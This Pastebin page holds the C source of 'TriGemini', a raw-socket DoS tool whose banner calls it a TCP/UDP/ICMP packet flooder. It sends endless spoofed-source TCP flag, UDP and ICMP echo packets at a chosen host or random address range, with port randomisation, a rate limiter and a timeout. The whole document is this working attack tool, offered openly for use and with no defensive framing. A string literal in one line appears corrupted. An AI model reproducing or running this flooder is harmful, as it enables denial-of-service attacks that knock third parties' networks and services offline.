API tools faq
paste
Advertisement
KhaosBringer

TRIGEMINI Attack Script Source

KhaosBringer
Jun 12th, 2015
2,862
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 12.83 KB | None | 0 0
raw download clone embed print report
  1. /*
  2.  * This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
  3.  */
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <unistd.h>
  7. #include <netdb.h>
  8. #include <sys/types.h>
  9. #ifdef F_PASS
  10. #include <sys/stat.h>
  11. #endif
  12. #include <netinet/in_systm.h>                                                  
  13. #include <sys/socket.h>
  14. #include <string.h>
  15. #include <time.h>
  16. #include <signal.h>
  17. #ifndef __USE_BSD
  18. #   define __USE_BSD
  19. #endif
  20. #ifndef __FAVOR_BSD
  21. #   define __FAVOR_BSD
  22. #endif
  23. #include <netinet/in.h>
  24. #include <netinet/ip.h>
  25. #include <netinet/tcp.h>
  26. #include <netinet/udp.h>
  27. #include <netinet/ip_icmp.h>
  28. #include <arpa/inet.h>
  29. #ifdef LINUX
  30. #   define FIX(x)  htons(x)
  31. #else
  32. #   define FIX(x)  (x)
  33. #endif
  34. #define TCP_ACK         1
  35. #define TCP_FIN         2
  36. #define TCP_SYN         4
  37. #define TCP_RST         8
  38. #define UDP_CFF         16
  39. #define ICMP_ECHO_G     32
  40. #define TCP_NOF         64
  41. #define TCP_URG         128
  42. #define TCP_PSH         258
  43. #define TCP_ECE         512
  44. #define TCP_CWR         1024
  45.  
  46. #define TH_NOF         0x0
  47.         #define TH_ECE  0x40
  48.         #define TH_CWR  0x80
  49. #define TCP_ATTACK()    (a_flags & TCP_ACK ||\
  50.                          a_flags & TCP_FIN ||\
  51.                          a_flags & TCP_SYN ||\
  52.                          a_flags & TCP_RST ||\
  53.                          a_flags & TCP_NOF ||\
  54.                         a_flags & TCP_PSH ||\
  55.                         a_flags & TCP_ECE ||\
  56.                         a_flags & TCP_CWR ||\
  57.                          a_flags & TCP_URG )
  58. #define UDP_ATTACK()    (a_flags & UDP_CFF)
  59. #define ICMP_ATTACK()   (a_flags & ICMP_ECHO_G)
  60. #define CHOOSE_DST_PORT() dst_sp == 0 ?\
  61.                           random ()   :\
  62.                           htons(dst_sp + (random() % (dst_ep -dst_sp +1)));
  63. #define CHOOSE_SRC_PORT() src_sp == 0 ?\
  64.                           random ()   :\
  65.                           htons(src_sp + (random() % (src_ep -src_sp +1)));
  66. #define SEND_PACKET()   if (sendto(rawsock,\
  67.                                    &packet,\
  68.                                    (sizeof packet),\
  69.                                    0,\
  70.                                    (struct sockaddr *)&target,\
  71.                                     sizeof target) < 0) {\
  72.                                         perror("sendto");\
  73.                                         exit(-1);\
  74.                         }
  75. #define BANNER_CKSUM 54018
  76. //#define BANNER_CKSUM 723
  77. u_long lookup(const char *host);
  78. unsigned short in_cksum(unsigned short *addr, int len);                        
  79. static void inject_iphdr(struct ip *ip, u_char p, u_char len);
  80. char *class2ip(const char *class);
  81. static void send_tcp(u_char th_flags);
  82. static void send_udp(u_char garbage);
  83. static void send_icmp(u_char garbage);
  84. char *get_plain(const char *crypt_file, const char *xor_data_key);
  85. static void usage(const char *argv0);
  86. u_long dstaddr;
  87. u_short dst_sp, dst_ep, src_sp, src_ep;
  88. char *src_class, *dst_class;
  89. int a_flags, rawsock;
  90. struct sockaddr_in target;
  91. struct pseudo_hdr {        
  92.     u_long saddr, daddr;    
  93.     u_char mbz, ptcl;      
  94.     u_short tcpl;          
  95. };
  96. struct cksum {
  97.     struct pseudo_hdr pseudo;
  98.     struct tcphdr tcp;
  99. };
  100. struct {
  101.     int gv;
  102.     int kv;
  103.     void (*f)(u_char);
  104. } a_list[] = {
  105.     { TCP_ACK, TH_ACK, send_tcp },
  106.     { TCP_FIN, TH_FIN, send_tcp },
  107.     { TCP_SYN, TH_SYN, send_tcp },
  108.     { TCP_RST, TH_RST, send_tcp },
  109.     { TCP_NOF, TH_NOF, send_tcp },
  110.     { TCP_URG, TH_URG, send_tcp },
  111.     { TCP_PSH, TH_PUSH, send_tcp },
  112.     { TCP_ECE, TH_ECE, send_tcp },
  113.     { TCP_CWR, TH_CWR, send_tcp },
  114.     { UDP_CFF, 0, send_udp },
  115.     { ICMP_ECHO_G, ICMP_ECHO, send_icmp },
  116.     { 0, 0, (void *)NULL },
  117. };
  118. int
  119. main(int argc, char *argv[])
  120. {
  121.     int n, i, on = 1;
  122.     int b_link;
  123. #ifdef F_PASS
  124.     struct stat sb;
  125. #endif
  126.     unsigned int until;
  127.     a_flags = dstaddr = i = 0;
  128.     dst_sp = dst_ep = src_sp = src_ep = 0;
  129.     until = b_link = -1;
  130.     src_class = dst_class = NULL;
  131.     while ( (n = getopt(argc, argv, "T:UINs:h:d:p:q:l:t:")) != -1) {
  132.         char *p;
  133.         switch (n) {
  134.             case 'T':
  135.                 switch (atoi(optarg)) {
  136.                     case 0: a_flags |= TCP_ACK; break;
  137.                     case 1: a_flags |= TCP_FIN; break;
  138.                     case 2: a_flags |= TCP_RST; break;
  139.                     case 3: a_flags |= TCP_SYN; break;
  140.                     case 4: a_flags |= TCP_URG; break;
  141.                     case 5: a_flags |= TCP_PSH; break;
  142.                     case 6: a_flags |= TCP_ECE; break;
  143.                     case 7: a_flags |= TCP_CWR; break;
  144.                 }
  145.                 break;
  146.             case 'U':
  147.                 a_flags |= UDP_CFF;
  148.                 break;
  149.             case 'I':
  150.                 a_flags |= ICMP_ECHO_G;
  151.                 break;
  152.             case 'N':
  153.                 a_flags |= TCP_NOF;
  154.                 break;
  155.             case 's':
  156.                 src_class = optarg;
  157.                 break;
  158.             case 'h':
  159.                 dstaddr = lookup(optarg);    
  160.                 break;
  161.             case 'd':
  162.                 dst_class = optarg;
  163.                 i = 1;
  164.                 break;
  165.             case 'p':
  166.                 if ( (p = (char *) strchr(optarg, ',')) == NULL)
  167.                     usage(argv[0]);
  168.                 dst_sp = atoi(optarg);
  169.                 dst_ep = atoi(p +1);  
  170.                 break;
  171.             case 'q':
  172.                 if ( (p = (char *) strchr(optarg, ',')) == NULL)
  173.                     usage(argv[0]);
  174.                 src_sp = atoi(optarg);
  175.                 src_ep = atoi(p +1);
  176.                 break;
  177.             case 'l':
  178.                 b_link = atoi(optarg);
  179.                 if (b_link <= 0 || b_link > 100)
  180.                     usage(argv[0]);
  181.                 break;
  182.             case 't':
  183.                 until = time(0) +atoi(optarg);
  184.                 break;
  185.             default:
  186.                 usage(argv[0]);
  187.                 break;
  188.         }
  189.     }
  190.     if ( (!dstaddr && !i) ||
  191.          (dstaddr && i) ||
  192.          (!TCP_ATTACK() && !UDP_ATTACK() && !ICMP_ATTACK()) ||
  193.          (src_sp != 0 && src_sp > src_ep) ||
  194.          (dst_sp != 0 && dst_sp > dst_ep))
  195.             usage(argv[0]);
  196.     srandom(time(NULL) ^ getpid());
  197.     if ( (rawsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  198.         perror("socket");
  199.         exit(-1);
  200.     }
  201.     if (setsockopt(rawsock, IPPROTO_IP, IP_HDRINCL,
  202.         (char *)&on, sizeof(on)) < 0) {
  203.             perror("setsockopt");
  204.             exit(-1);
  205.     }
  206.     target.sin_family           = AF_INET;
  207.     for (n = 0; ; ) {
  208.         if (b_link != -1 && random() % 100 +1 > b_link) {
  209.             if (random() % 200 +1 > 199)
  210.                 usleep(1);
  211.             continue;
  212.         }
  213.         for (i = 0; a_list[i].f != NULL; ++i) {
  214.             if (a_list[i].gv & a_flags)
  215.                 a_list[i].f(a_list[i].kv);
  216.         }        
  217.         if (n++ == 100) {
  218.             if (until != -1 && time(0) >= until) break;
  219.             n = 0;
  220.         }
  221.     }          
  222.     exit(0);
  223. }
  224. u_long
  225. lookup(const char *host)
  226. {
  227.     struct hostent *hp;
  228.  
  229.     if ( (hp = gethostbyname(host)) == NULL) {
  230.         perror("gethostbyname");
  231.         exit(-1);
  232.     }
  233.     return *(u_long *)hp->h_addr;
  234. }
  235. #define RANDOM() (int) random() % 255 +1
  236. char *
  237. class2ip(const char *class)
  238. {
  239.     static char ip[16];
  240.     int i, j;
  241.  
  242.     for (i = 0, j = 0; class[i] != '{TEXTO}'; ++i)
  243.         if (class[i] == '.')
  244.             ++j;
  245.     switch (j) {
  246.         case 0:
  247.             sprintf(ip, "%s.%d.%d.%d", class, RANDOM(), RANDOM(), RANDOM());
  248.             break;
  249.         case 1:
  250.             sprintf(ip, "%s.%d.%d", class, RANDOM(), RANDOM());
  251.             break;
  252.         case 2:
  253.             sprintf(ip, "%s.%d", class, RANDOM());
  254.             break;
  255.         default: strncpy(ip, class, 16);
  256.                  break;
  257.     }
  258.     return ip;
  259. }
  260. unsigned short
  261. in_cksum(unsigned short *addr, int len)
  262. {
  263.     int nleft = len;
  264.     int sum = 0;
  265.     unsigned short *w = addr;
  266.     unsigned short answer = 0;
  267.     while (nleft > 1) {
  268.         sum += *w++;
  269.         nleft -= 2;
  270.     }
  271.     if (nleft == 1) {
  272.         *(unsigned char *) (&answer) = *(unsigned char *)w;
  273.         sum += answer;
  274.     }
  275.     sum    = (sum >> 16) + (sum & 0xffff);  
  276.     sum   += (sum >> 16);                  
  277.     answer = ~sum;                        
  278.     return answer;
  279. }
  280. static void
  281. inject_iphdr(struct ip *ip, u_char p, u_char len)
  282. {
  283.     ip->ip_hl             = 5;
  284.     ip->ip_v              = 4;
  285.     ip->ip_p              = p;
  286.     ip->ip_tos            = 0x08;
  287.     ip->ip_id             = random();
  288.     ip->ip_len            = len;
  289.     ip->ip_off            = 0;
  290.     ip->ip_ttl            = 255;
  291.     ip->ip_dst.s_addr     = dst_class != NULL ?
  292.                             inet_addr(class2ip(dst_class)) :
  293.                             dstaddr;
  294.     ip->ip_src.s_addr     = src_class != NULL ?
  295.                             inet_addr(class2ip(src_class)) :
  296.                             random();
  297.     target.sin_addr.s_addr = ip->ip_dst.s_addr;
  298. }    
  299. static void
  300. send_tcp(u_char th_flags)
  301. {
  302.     struct cksum cksum;
  303.     struct packet {
  304.        struct ip ip;
  305.         struct tcphdr tcp;
  306.     } packet;
  307.     memset(&packet, 0, sizeof packet);
  308.     inject_iphdr(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));
  309.     packet.ip.ip_sum        = in_cksum((void *)&packet.ip, 20);
  310.     cksum.pseudo.daddr      = dstaddr;
  311.     cksum.pseudo.mbz        = 0;
  312.     cksum.pseudo.ptcl       = IPPROTO_TCP;
  313.     cksum.pseudo.tcpl       = htons(sizeof(struct tcphdr));
  314.     cksum.pseudo.saddr      = packet.ip.ip_src.s_addr;
  315.     packet.tcp.th_win       = random();
  316.     packet.tcp.th_seq       = random();
  317.     packet.tcp.th_ack       = random();
  318.     packet.tcp.th_flags     = th_flags;
  319.     packet.tcp.th_off       = 5;
  320.     packet.tcp.th_urp       = 0;
  321.     packet.tcp.th_sport     = CHOOSE_SRC_PORT();
  322.     packet.tcp.th_dport     = CHOOSE_DST_PORT();
  323.     cksum.tcp               = packet.tcp;
  324.     packet.tcp.th_sum       = in_cksum((void *)&cksum, sizeof(cksum));
  325.     SEND_PACKET();
  326. }
  327. static void
  328. send_udp(u_char garbage)
  329. {                      
  330.     struct packet {
  331.         struct ip ip;
  332.         struct udphdr udp;
  333.     } packet;
  334.     memset(&packet, 0, sizeof packet);
  335.     inject_iphdr(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
  336.     packet.ip.ip_sum            = in_cksum((void *)&packet.ip, 20);
  337.     packet.udp.uh_sport         = CHOOSE_SRC_PORT();
  338.     packet.udp.uh_dport         = CHOOSE_DST_PORT();
  339.     packet.udp.uh_ulen          = htons(sizeof packet.udp);
  340.     packet.udp.uh_sum           = 0;
  341.     SEND_PACKET();
  342. }
  343. static void
  344. send_icmp(u_char gargabe)
  345. {
  346.     struct packet {
  347.         struct ip ip;
  348.         struct icmp icmp;
  349.     } packet;
  350.     memset(&packet, 0, sizeof packet);
  351.     inject_iphdr(&packet.ip, IPPROTO_ICMP, FIX(sizeof packet));
  352.     packet.ip.ip_sum            = in_cksum((void *)&packet.ip, 20);
  353.     packet.icmp.icmp_type       = ICMP_ECHO;
  354.     packet.icmp.icmp_code       = 0;
  355.     packet.icmp.icmp_cksum      = htons( ~(ICMP_ECHO << 8));
  356.     SEND_PACKET();
  357. }
  358. const char *banner = "TriGemini. [TCP/UDP/ICMP Packet flooder]";
  359. static void
  360. usage(const char *argv0)
  361. {
  362.     printf("%s \n", banner);
  363.         printf("    -U UDP   attack                         \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
  364.         printf("    -I ICMP  attack                         \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
  365.         printf("    -N Bogus attack                         \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
  366.     printf("    -T TCP   attack                     \e[1;37m[\e[0m0:ACK   1: FIN\e[1;37m]\e[0m\n");
  367.     printf("                                        \e[1;37m[\e[0m2:RST   3: SYN\e[1;37m]\e[0m\n");    
  368.     printf("                                        \e[1;37m[\e[0m4:URG   5:PUSH\e[1;37m]\e[0m\n");
  369.     printf("                                        \e[1;37m[\e[0m6:ECE   7: CWR\e[1;37m]\e[0m\n");
  370.         printf("    -h target host/ip                       \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
  371.         printf("    -d destination class                        \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  372.         printf("    -s source class/ip                          \e[1;37m(\e[m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  373.         printf("    -p destination port range [start,end]       \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  374.         printf("    -q source port range      [start,end]       \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  375.         printf("    -l pps limiter                            \e[1;37m(\e[0m\e[0;31mno limit\e[0m\e[1;37m)\e[0m\n");
  376.         printf("    -t timeout                              \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
  377.     printf("\e[1musage\e[0m: %s [-T0 -T1 -T2 -T3 -T4 -T5 -T6 -T7 -U -I] -h -t\n", argv0);
  378.     exit(-1);
  379. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!